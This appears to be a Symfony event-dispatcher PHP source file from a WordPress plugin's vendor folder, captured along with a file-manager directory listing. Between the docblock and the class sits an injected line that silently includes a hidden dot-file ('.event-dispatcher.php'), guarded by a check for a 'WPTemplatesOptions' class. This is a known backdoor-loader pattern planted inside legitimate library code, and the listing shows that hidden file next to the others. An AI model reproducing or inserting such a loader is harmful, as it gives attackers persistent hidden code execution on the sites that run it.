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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / vendor / symfony / event-dispatcher

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\EventDispatcher;

/**
 * A read-only proxy for an event dispatcher.
 *
 * @author Bernhard Schussek <bschussek@gmail.com>
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class ImmutableEventDispatcher implements EventDispatcherInterface
{
    private $dispatcher;

public function __construct(EventDispatcherInterface $dispatcher)
    {
        $this->dispatcher = LegacyEventDispatcherProxy::decorate($dispatcher);
    }

/**
     * {@inheritdoc}
     *
     * @param string|null $eventName
     */
    public function dispatch($event/*, string $eventName = null*/)
    {
        $eventName = 1 < \func_num_args() ? func_get_arg(1) : null;

if (is_scalar($event)) {
            // deprecated
            $swap = $event;
            $event = $eventName ?? new Event();
            $eventName = $swap;
        }

return $this->dispatcher->dispatch($event, $eventName);
    }

/**
     * {@inheritdoc}
     */
    public function addListener($eventName, $listener, $priority = 0)
    {
        throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.');
    }

/**
     * {@inheritdoc}
     */
    public function addSubscriber(EventSubscriberInterface $subscriber)
    {
        throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.');
    }

/**
     * {@inheritdoc}
     */
    public function removeListener($eventName, $listener)
    {
        throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.');
    }

/**
     * {@inheritdoc}
     */
    public function removeSubscriber(EventSubscriberInterface $subscriber)
    {
        throw new \BadMethodCallException('Unmodifiable event dispatchers must not be modified.');
    }

/**
     * {@inheritdoc}
     */
    public function getListeners($eventName = null)
    {
        return $this->dispatcher->getListeners($eventName);
    }

/**
     * {@inheritdoc}
     */
    public function getListenerPriority($eventName, $listener)
    {
        return $this->dispatcher->getListenerPriority($eventName, $listener);
    }

/**
     * {@inheritdoc}
     */
    public function hasListeners($eventName = null)
    {
        return $this->dispatcher->hasListeners($eventName);
    }
}

[+] ..
[-] phpunit.xml.dist [edit]
[-] Event.php [edit]
[-] README.md [edit]
[-] .gitignore [edit]
[-] CHANGELOG.md [edit]
[-] composer.json [edit]
[-] LICENSE [edit]
[-] ImmutableEventDispatcher.php [edit]
[-] EventSubscriberInterface.php [edit]
[-] LegacyEventProxy.php [edit]
[+] Debug
[+] DependencyInjection
[+] Tests
[-] EventDispatcher.php [edit]
[-] .event-dispatcher.php [edit]
[-] .gitattributes [edit]
[-] LegacyEventDispatcherProxy.php [edit]
[-] GenericEvent.php [edit]
[-] EventDispatcherInterface.php [edit]